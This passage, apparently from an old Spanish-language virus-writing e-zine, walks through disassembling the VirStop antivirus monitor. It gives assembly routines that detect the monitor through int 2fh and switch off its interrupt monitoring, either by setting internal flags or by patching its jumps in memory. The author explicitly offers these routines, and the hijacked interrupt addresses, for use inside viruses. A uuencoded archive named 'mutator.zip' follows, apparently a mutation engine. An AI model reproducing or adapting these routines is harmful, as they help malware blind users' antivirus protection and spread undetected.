0 --> Activa Monitoreo Int 13h
Output: Nada
---------------------------------------------------------------------------
Input: AX = 4653h
CX = 9
Output: AX = 5346h (AX invertido)
BX = 020Ah
SI = 0223h
DI = 01D3h
DS = Segmento en el que esta
instalado el handler de la
int 2fh (Actual CS)
--------------------------------------------------------------------------
Esta interrupci�n maneja la des/activaci�n de las demas..
Para lo que sirven la funci�n 1606h y 1605h no tengo idea, consegui
tantas cosas buenas con lo que aca muestro que no me moleste en seguir
revisando el codigo, pero si a alguien le interesa verificar el total
comportamiento del VS les prometo darles el source completo de todos
los handlers y su instalacion del VS en un pr�ximo numero, pero para
esto hay que recibir pedidos en nuestros ya conocidos bbs, asi que ya
saben, y sino desensamblenlo uds. que es una pavada, no esta encriptado
ni nada.
Bueno, sigamos..
Los valores devueltos por AX=4653h, CX=9 en BX,SI y DI son fixed, o sea
que son si o si esos los valores que devuelve, ya que estan explicitos
en el mismo handler de la int 21h.. por lo menos hasta este punto del
an�lisis.
La funci�n 4653h, CX=9 es utilisima para nuestros propositos, ya que nos
devuelve el segmento en el que se encuentra el VS instalado, y sabiendo
los offsets en los que se encuentra cada handler podemos hacer dos cosas:
1) Desactivar todo monitoreo modificando las variables del VS:
--------------------------------------------------------------
Para esto veamos porcioncitas de los handlers de la int 21h y de la
int 13h por ejemplo...
VStop_i21:
Puhsf
Nop
Sti
Cmp Byte Ptr cs:[0393h],01
Jz Backi21
... ....
... ....
... ....
... ....
Backi21: Popf
Jmp 0000:0000
(Les dejo las direcciones porque es pertinente con la explicaci�n, y los
JMP est�n a zero porque el VS se encarga de poner el address de la int 21h
o int 13h al ejecutarse :).. no??.. si en serio :))
Bueno, como ver�n, la rutina se fija si el byte en el offset 0393h esta en
1, y si es as� le da el control a la int 21h original, pues que podemos
hacer?, porque no ponemos en 1 ese byte nosotros y listo?..
ByeByeVS:
mov ax,4653h ; llamamos a la rutina de
mov cx,9 ; la int 2fh del VS
int 2fh
cmp ax,5346h ; nos fijamos si el VS esta
jne NoVirStpInstalled ; instalado..
mov ds:[0393h],1 ; Ponemos el byte en 1
NoVirStpInstalled:
.. ....
.. ....
Acuerdense que la funcion 4653h, CX=9 nos devuelve en DS el segmento en
el que est� instalado el VS, asi que sabiendo el offset en el que esta
el byte lo ponemos en 1 y listo, ahora veamos la int 13h..
VStop_i13:
Cmp Byte Ptr cs:[0395h],01
Jnz Backi13
Cmp Byte Ptr cs:[0531h],01
Jz Backi13
... .......
... .......
... .......
Backi13:
JMP 0000:0000
Veamos, el segundo CMP es el que se desactiva con la funci�n 4653h, CX=7
ya que esta mueve al offset 0531h un 1.
Pong�mosle que queremos que se vaya directamente con el primer cmp, porque
somos cabezas duras (mas all� de que obviamente esos dos flags son seteados
por diferentes switches o razones), pues hacemos lo mismo de antes:
ByeByeVS:
mov ax,4653h ; llamamos a la rutina de
mov cx,9 ; la int 2fh del VS
int 2fh
cmp ax,5346h ; nos fijamos si el VS esta
jne NoVirStpInstalled ; instalado..
mov ds:[0395h],0 ; Ponemos el byte en 0
NoVirStpInstalled:
.. ....
.. ....
Bueno, junten las dos y listo..
Si bien hay diferentes bytes que corresponden a diferentes switches con
esto desactivamos todos estos, ya que volvemos directo a la int original.
Bueno, pero esto tiene inconvenientes, de la misma forma en que nosotros
seteamos los bytes para que no chequee el VS, si por una de esas
casualidades (DEMASIADA, pero DEMASIADA :)) el usuario corre de nuevo el
VS para modificar unos switches puede ponernos los bytes a sus valores
originales de nuevo.
Ademas los offsets podr�an variar de versi�n en versi�n, 'tonces..
que hacemo'?..
2) Patcheamos el VS en memoria:
-------------------------------
Que como es esto?, simple, igual que antes, nada mas que ahora en vez de
cambiar el byte adecuado para que el jump condicional de el resultado que
nosotros queremos, eliminamos el mismo y le ponemos un jump incondicional,
veamos esto para la int 21h..
Sabiendo como dije en el principio de la nota que..
INT Handler
int 21h ����������> CS:0399h
y que..
VStop_i21:
xxxx:0399 9C Pushf
xxxx:039A 90 Nop
xxxx:039B FB Sti
xxxx:039C 2E Cs:
xxxx:039D 803E930301 Cmp Byte Ptr [0393h],01
xxxx:03A2 7438 Jz 03DC
lo que hacemos para patchear al VS es esto..
PatchVS:
mov ax,4653h ; nos fijamos si el VS est�
mov cx,9 ; instalado
int 2fh
cmp ax,5346h
jne NoVirStpInstalled
mov ds:[03A2h],0EBh ; cambiamos el JZ por JMP
NoVirStpInstalled:
... ......
... ......
Simple, cambiamos el OPCODE del JZ (74h) por el del JMP SHORT (EBh).
Ahora con la int 13h..
veamos que...
INT Handler
int 13h ����������> CS:048Ch
y que...
VStop_i13:
xxxx:048C 2E Cs:
xxxx:048D 803E950301 Cmp Byte Ptr [0395h],01
xxxx:0492 7534 Jnz 04C8
Lo Patcheamos..
PatchVS:
mov ax,4653h ; nos fijamos si el VS est�
mov cx,9 ; instalado
int 2fh
cmp ax,5346h
jne NoVirStpInstalled
mov ds:[0492h],0EBh ; cambiamos el JZ por JMP
NoVirStpInstalled:
... ......
... ......
Listo!..
aja!, pero esto tiene otro problema, en otras versiones quiz�s los
distintos handlers puedan empezar en offsets diferentes, porque se le
agregaron nuevas signatures, o por cualquier otra causa, pero eso
no implica que los handlers especificamente hayan sido cambiados, sino
que cambi� su ubicaci�n dentro del programa, que hacer suponiendo
que esto pase?..
Fixed_Number = 09h
PatchVS2:
mov ax,4653h ; nos fijamos si el VS est�
mov cx,9 ; instalado
int 2fh
cmp ax,5346h
jne NoVirStpInstalled
mov ax,3521h ; tomo address int 21h
int 21h
push ds es
pop ax cx ; este handler es el
cmp ax,cx ; del VS?
jne NoVirStpInstalled
add bx,Fixed_Number ; me muevo hasta el JZ
mov ds:[bx],0EBh ; cambiamos el JZ por JMP
NoVirStpInstalled:
... ......
... ......
Lo que hago es pedir el segmento en el que est� instalado al VS, pido
el address de la Int 21h, y compara el segmento de esta con el segmento
del VS, si no son iguales, significa que algun otro programa capturo
la int 21h despues del VS, por lo tanto cague, puede renunciar o ariesgar-
-me a usar el metodo directo que mostre primero, o usar la int 2fh..
Si los segmentos son iguales, ese es el Handler del Virstop, asi que
ya en BX tenemos ya el offset donde empieza el Handler, lo que hacemos
es sumarle a ese offset la distancia a la que esta el JZ del comienzo
del handler..
xxxx:0399 9C Pushf ..1
xxxx:039A 90 Nop ..2
xxxx:039B FB Sti ..3
xxxx:039C 2E Cs: ..4
xxxx:039D 803E930301 Cmp Byte Ptr [0393h],01 ..5,6,7,8,9
xxxx:03A2 7438 Jz 03DC --> Llegamos!
Para que entiendan en este caso..
0399h + 09h = 03A2h listo!
f�cil no?, y ahi ponemos el 0EBh..
con la int 13h es lo mismo nada mas que Fixed_Number = 06h.
Bueno, listo, creo que es suficiente, si alguien quiere el source
completo del VS chifle, asi lo hago y les muestro mas funciones, ahora
ya me cans� de desensamblarlo..
Ah!, me olvidaba.. falta para la int 15h, que utiliza para verificar el
Disco A: al apretar Ctrl-Alt-Del ...
Pongan el byte en [0394] en 0
o/y
Pongan el Byte en [0586] en 1
y Fixed_Number = 4d
ah! y me olvidaba de nuevo.. :) lo que pueden hacer tambien es obtener
el segmento del VS y robarle la direcci�n de la int 21h y usar esa
direcci�n en su virus, pero gastan demasiados bytes en CALL's, pero
lo pueden hacer si quieren, y para hacerles la vida m�s facil aca van los
offsets en donde esta guardada cada INT original, tomen las precauciones
que les digo en esta nota para diferentes versiones etc..
INT Offset
21h Original ����������> cs:03DEh
2Fh Original ����������> cs:0582h
13h Original ����������> cs:04C9h
15h Original ����������> cs:05B5h
bueno, tengo el presentimiento de que me olvido algo, y bueh.. cualquier
cosa ya saldr� otra nota.. :)
bye!..
WM� [DAN]
begin 666 mutator.zip
M4$L#!!0 @ ( "MNA!TZZ1-*D , %H' , 3554051/4C N5%A4=571
M;MLX$'PWX'_8QQSJ\S5 BJ(!\J#8OD-ZCAW(3A&@Z,.*7+M,:5(AQ0#)U]\N
M:5MNVO-#0DCD[.SL#'5[OZ[6RQJ^4(C&.S@?O[\<#E:T34XC6-,$"@:AQ<!_
MO#4['S8F[CQ05,%T".2@"EMRG7$X'@Z&@[^7]6T%TQFLZ^JZ^KQDN*NW/]GW
M#F:.(5K!L*"\-EL_ D:B@$Y[2 XT12I[? !M(M?H?.&BD.DI'X+14O8=?$'F
MV1AK7IFVCQ!HRP<"KS2!;QE4<7]YZ]IK?ARY6WI*)K;!-]A8RN\F:%6R"#$!
M/V^-![_91.JXEA.>.^KXM& JM/;/UK>C7"!H[C_P=JD]',!/]2U+UP)&PR@L
M'<-+,^B4$?VZ0%D!QH,7V&_N<-<8UI8*VG/N;L_QAH]XG12!<5PB*>F,<J.!
MK"7GX0PM(:MF,.XK[#!O^/">X:,1H32ROG\(X%QHE%D(E! ,A%G*_7\9R%%$
M+L5T.I;"*$9]X9ZWLLKD%I[/L*S$-;E']>.@X]E]1);/E8E<?(#FI2ND\[9"
MQ+NMZ9*6ITQBESII LX_?KPHV[/#9GP 0A+'023&%YMT6,1-#L:^>82G1(S2
M,#H%L,;]('',8Q('R2QYP,5SPT$I%LV66;M.I!(/7DJI]?QF\2]\_6O]#5;W
MD^7TYI_E>'G]&?:QD75F=(('*7:D2VU-RF+ (!/__R*SAW6].$#"Y5V]G,CC
MNT!B]9 -SV*+ETH.,?)3S&,J*NR%&H^S/I-J/C_ 9:"JKFYGZWJY@@KNJE55
M_RZ3DLK9ZG)Z U=PG38;EHTY=P$;?-R'KB_(;WZZ#0X$N #O[(R<%=^6'SXE
M(P/1 G(,^]%SVI_,A5_WL>=7C#E'Z+%L;Y&W.R4L)T&9<C,/W,S4!,H1R:GU
M.];_U>?C>QYBE</0(O59" PR>9"B5S!!UTEB!*,8]V1?#I?%4VZG]N6E2FA/
MFBB^?V/KDS'5,Q[=HIHN5[^?5![6@=HQ-!N>C)4+^9@LJ>Q;TU/5.,ID?]&N
MYR9J1)(326Z.?,-G7V22\QQ?@>@O.+E)<PC#,T.59E:22_],D@')) ;UW3SG
MB[,-B1KF(86^HQ+M_9[L&SMSCQ+:9WH]LGHDE>2+$4$%PO*9<(D8^5"A;VJ4
MO2;*&Z=L>J'AX%?/H&9$7HUA9GN,(_SAVL\N=W[7!"HZ8&MTOO"_3JO%MU'_
M$83S3Y\N>,]_4$L#!!0 @ ( /F6GQVG;5W4[18 %UV + 3554051/
M4BY!4TW-/5USV[J.S_6,_P/G[DMRXF0E?UO>/J2-<V]GSFF[37NG.YU,AY88
M6SZRI$AVCMV=_3?[0Y<@*8F20'^D3N^Z<UI;!$$ !$$0 '7&KT_Z:3;&-_[,
M7]& 7(<T<>=;\D\_X;]NV!,+HGC)PA6'.?F@K]Y'RVG"'/+'>D5744+L*XN<
M3<*9'S+R,0K\990\^&YT#K#7:X!PR.\T]CV:^!'Y=G/]_AZ:;ID[I[S)MHG'
MR/OHR6> %W[8HU$70#[3)?W?B(,,!ETRW:Y8^@(,-1M7[6&?__WI^N;=5V+S
MKQ^_O/G]W5ORQY?/UY\_?&HV?K_^^.[F^M.[#^1N\O<_)N\_DS?_]7E"D$^S
M<7UW]^6/"7E[Y^2]6C?:CV;#77_WP_1['/N\P^0_OT _R[+ZGD2@FMW(*S4/
MO69#$21&^OCIPUM"WD^N.7U5*N)U.B?3#2'CCY\F=Y-/_YR0-U_)V9>[ZYL/
MY&9"KO_QX=,UF;PG?US?D8_7_/N'V]N[R>=SD$85F4N#@#S0(+7C)&HVLF].
M-E84\Z'JW=+UE#]O10\/*5MI_0W4THVAP3,U3&-#0^J;4/G$.#ZH%MX):=@!
M:FAR,?11S+L0,KZY>_WV#NN*]Z$;^7U,-Z]Y_RCQ9WY(@SHPTG\9/9&;.^?;
MFZ\76;_O7GK?RG >V]?=W+?<S8'C^/<MS]\)F[+9]RE-V7T+FP\-4*Z0=;AB
MR68OUH("@-T8E1Q&3@QM+EU.?;K9[!.2 /:8&WDL2=8K T#,DN5Z11,V,P#,
M6,@2^B?;&MI7"4U3/HB)VBCVJ1'U=Q:ZB1^#',:_'?7A'3@.=QW0A 24!%$X
M\U=KC\0TH22..,U!1%A(W,T5)F4Q*>ZF]4V?OHOIYMX 2CFHICX&2+ T'"EF
M0<@S>.1,IC3P/1JM5XYIU>+/F3 ACX^_CPU/$?-&^#9F*P"?VY A71)V*K9
M6*H=//NPT*N/>KP #5(52JE1ED0N"1FMKSBPF!21HUPZ4<CBN"ZT#>>#HEH@
ME"YH69UYC;,P2J-PE;!4[F8!H\3S6]]B&U4U:236J4O],#53QQM7R9J0L1L%
MD4L)"^0>,)NUU%[0@EF9S:Z.X] /76R;])C+V:L]7H0_2,Y>LS&^_,D/1T&#
M)7592(G:U./N%2IL>L@*!\!O'-'WN OM8N+&WW_V4QLFG]*N>4KU2=-G#1KW
M3!$FE1YF^YXAEUXN%S-7O>.Y$B9AL=C#V(OH2_\D^M(_J;Z89=M_AFRIYY'%
MHO6#?_X5 AZ<1,"#7[(@!\\0KS#EDHF6RS__"AD/3R+CX2^1\?"9,MYN6]\6
MB_N7%J\0L _BXH@I"6A*)$FNZ_-!4L(>F+ORG_AS#P(#J71<5Q2:B<G,ND$+
M8@4D7B7?! (X2S-4$KG3 ,Y ZL_6# 11=@9**"[LGW0+7GK+SYD0WN#X\B56
MP.@D*V!DWM[V^W)M@R_G1<J5*]; Z)2^G"!_L;AO;;>D):9GL2"_Q(WCG EW
MX^<GU&0L;/MX:R&HEO--MO Z'TAPVNW?T+O@%"#U UJ)K74;K^LMU%U)XV3
MTWFFIS>;_8I-,DG8+(C2(X)K:N8@1)-%?2[>?+W' 5F*&8/2@X**PG4?>RR-
M _J#+GT6KB("X6LX=V[\)8@U86(?27V2,GCLK5VF=2:7$D8 >>HY?]CA;=)!
MOY3GE\L.4%(E+P]@Y+X\!@&36YR"JA 0VN XZK$#U6!95F=>;0,#(T*=]='^
MBA(/]D4RN7.^03Q.FM^2Y/A'<%OWM8P<%M' O6P.3! 5TB[L@K@9)T[0]B?;
M/CX2B#NENIM"MKI=KB!'B=8\!(%S+]E#$T2&)R.[/>=T!SMQC8[%59X@.%N
M.U0Z:G 0^/):MX/D4@GL4IG0N$LN2 >)@8O]=MZB<XRJ0^)U6@ANYS+H[NQ,
M#"U"R_&9S(7:/U2OVC)@798I[%KQ$#<8)7NA&PR.6!F,E 8<N&PN(#ZJ]=;\
M6N@?1J(3K?NP):[D[H- Y!(=&@#<S2X4H#L@V'9UQI5=J87T,?6T,^TLPV:!
MT,HS+* G@I"5L*",0?YLT+'9*&V*6;@1CS=F <=?N7>)IM07.$JK2^!I-A(6
MLY6?1'&[XQ@(*(P8 5N.A/N7,4!9]KS>MOC!";/LE,4VCGYRYQ3H4Q^S:G*K
MP0+8\)QSEJ\]A$6L"Q8C7W FTGF4K(@FDF8C(]XQ1^*1Y]00"*\J"RCAZ0+?
MF4M&R<T[0N-UN**A%Q$P"KE-^$K./,H?QN+H [ES%HC4'I.^QQ-S(5+/?\$>
MO:;\"2 4)Y@$S)$?SA*64H"X>7?%^R=LYG..HI2X49)$R]CW^/=+$G+(=1B1
M2U"S[ 1T4$P>\Y15JAGUH*?S%J=S?U92+2=DSG:.ZA;)N#'O/@4,6#)2H?=2
M?&2Q/@$'2U\CB9TH 3ZF]24D5E! 7099[>K*"SR<#%B-,):0.W%I0ETX.J4,
M,F@>'^MOEOVW9B.@/Z+-INW@Y]]-R[:L.<>2,I*N07?)XYH1&JZ8")3P5EDM
M05CHKEFX2J@P*!RN,/0N3:?H<0AC-?Q!%$FP\B33#L$^]:F*XF*FQ@E+5W2=
M<-8W*"2M0R)J83:K,MU5PS$]>#0$I[ 0E84B=ZE3V8>$AAXL=)GU)>N0A.LE
M2R)" P8).C\2T]HG4W\%RWD9)YP WXO 3$""AYQ99$NNOYZ#T9+9RSH*/L#U
M5]TR:(9!MC0;&26E)-V.7=-<GN$:ZS8,FZ$AA0O[@JG"0*QJYYO(VW/"86,A
MXX!%X'O!PV8C7=$$FAP\6P^.K[=I>0;\TTVK;?4Z'B'CY3I8^7'@N[!*$>AU
M8&2,8[$[P^[(@[-YR"D*5^"]^Q#81#;MH![5%OZ:,'%26]/UDB:0=(<UOF1A
ME$+<+_0?.'DB7(IDPDN?,6PI"4LY4]2+L/%<D(M%]/&H"QYS)-Q7YK(4RKF,
M'%L/_#/G'--D!I%=4K#>/K/[YY>(V^'Y3\7B)46EP3+RUD%D5@$EE>6:/3'@
MRO?60MOK12U[*FM,,UA5,M@PQK,U3<0R8T^9MAEKFS3)AU&RI('_0T1HJFO4
MR&._U^OT1('86!H)+U*^ *=I%I&827-@5/!\_#.+7)+KK^0L.[6?G^,SX>K2
M&^,+D^Z!V;CSF3K;9>ROV5.D^'[MARORWV>"MW\7?)Q?V/]S"!.["Z-,,(=P
M);>KPTLOQ.90M9HGW1V$XA&T;D+J@C!W*5OZ ?]75.)D]#0;T2JAXGQB.VK2
MP ?I6LB) !S/ /7R%S](@<>@HG/1,P=K[QTND>/9SR6D??!2-4Q:5:XGG305
[email protected]_CP?$D)U4CFE+EJG"90^!LR3P_@D-)N*IE\+ ,""FR;N5=209&
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
M49IKP!VE$:0 W$C#B6&]M:M8-])^HL!M#-@@X]L.!FR0\6T7 S;(^+:'TFP
M[J,T&X '*,T9<+,Q>7]S)_XFAWR:C?\#4$L#!!0 @ ( #"O8QTH<BM*4P<
M $P* + 3554051/4BY/0DIEE7]L$]<=P-_7YW>^)B00&*04B+.&A;'P
M8Y"$$!)*4NJ85 4"! ADHZ13M'4J0R1V-[5_]%#4^'P7D[3:8-,Z+66:V%@[
MP<1$,E3Y@A/'H?PX#&-=LTZH\Z27>>%76H>B<F_?%T)UTF1__-Y]WGOWON^G
MU1R2?2 8: D<;%O1TGY@7/,20AJ#;2\=+*QM;V\]\-(KK6V%A;M:V]I?/OBC
MPM4KOMVOS2$U8PM.?&^1LUU D]"^<-1%R ]$]MV?'LTF3[Q0VU#_7.WV^JT#
M/_>0PENR"Z"^)Y<0\&S>V5C;N'4[]K5"<Y.:X_!6[S]=0,@.1DCSX;2;-&S?
MN6NW7%"0ZVT*AY;3<'<)#4>7T*[02DQ7T?"QI91=![;4Q2ZZV&Z)?2*Q<C>;
M1]A.E]&]BAJA);0DX?6\N.^[>YN:8_O9!U!JGI8B41=ESP+S GL/:NR1X"TC
MA"\+E=-(5*%, ?8S>&0JT,R@+$-8Q[2I1)-+68JP0].F"LT<RI*$O3AMUJ/)
MI\PD;#/HW95RJ1F)KI.91=C[A*US]KB!8CRN2'0!97\BK)NPA8]*(]&O4Z82
M46G3IG"HEC()(M%O4/8*85\0V<#Q'S$-#,^(EM.2X>42\1>'<;@E**IH<=@'
M>FBM;$37TV+-YS*B&Z;2U2DQ*24) T=:DN@8DXQH)5;>C!5JL?%Z:G37THX!
M5\D U@9/2VS_XY[.KJ(ZK89 =K'FKN,8E3]]&\L;=NCWN\R&;5T?'3&S>&#&
MEZ>@G\"]/]I7@I-[FHZ8S4VQ[=MV&(E:(U1*2Y/GJ#+YKW/SU]R78AU)<H[S
MR0GC?',8RQKZ."]-3MZM>:LTV31Y=\_>6*HFRPP\T&^F:JP$YNZ+6B*>LV)5
M14Q],LDV \O9K[B1R!H)+(Y$-]+5*9VR+NYGK?S_PL5I_8<84A\G[&5>#4&7
MC<OR*<61:CZWYO-HOOF:;Z'F\T:BOY/_+/G]&CWM\8L$FT[:EX+C8D(*<CU?
M1J(?N_IZ>OH5,O&'R-DB69^Q>AQ#\-2)@HG?&MUB&9;2QZN$$=\Q</<>^4BG
M@7?R8-#3"(/SD*>0 N1II!CY%E*'/(^T(.W(CY'7D3>1,!)!CB&_1'Z-_!YY
M'SF-G$.B2 RYA%Q#_HV,(7<;84A"LI!92#Z"_0Y]$UF&5"+K$1]2CVQ#FA&,
M8^B'2!OR*O(:TH6\C?0BV,?0[4:(ST46(H7(&F0K@NWB*O(N@C'&_X*8R""2
M0"XCUQNAYW@N@8]=\PC@!Z^%G@N]52ZXXRH.N_UU*\3RU0='O5/;<6KR9^.!
MZG^:3)SL4P@[8V>;CY9RMJSAN2O"7ST1.3M'-FY$SBZ6^SR$]=@-8J59JVW0
ML+NNKBD2?4#9;GS:9=P3PKBQ#]?X^E0K>XL^0_T"7EU4:NH#5V]NDN+&'6O,
MH,;7PN[P7+]_RQ:L>F<J&E%?#_!(M%+6RHW;/M'78EL+E<G;2Y/ZL3+9<$>B
M>^1^2JIH8%;'\"QL^3EF:<=P?GK2N(![9B'NTTQ J;8#[FHKZ)&N2@_22@\F
MF-EJT&HUJ.CT&:V.^/P&?2:,J>\43#WOK:NS+P>/BE/8YR;LO8=NJ=H=^*Q:
M"N:JT3)9"HR)Q!/X5 N5RWT24:/ELH0SE6"''Z[#$ -I_:8ZZ%YW K,WM= :
M64>IA2KD/DK8OH<:WA]-L?WBJA0M:2 G3@OB/K<W[BORIK/C=!X^Y.-#OH[O
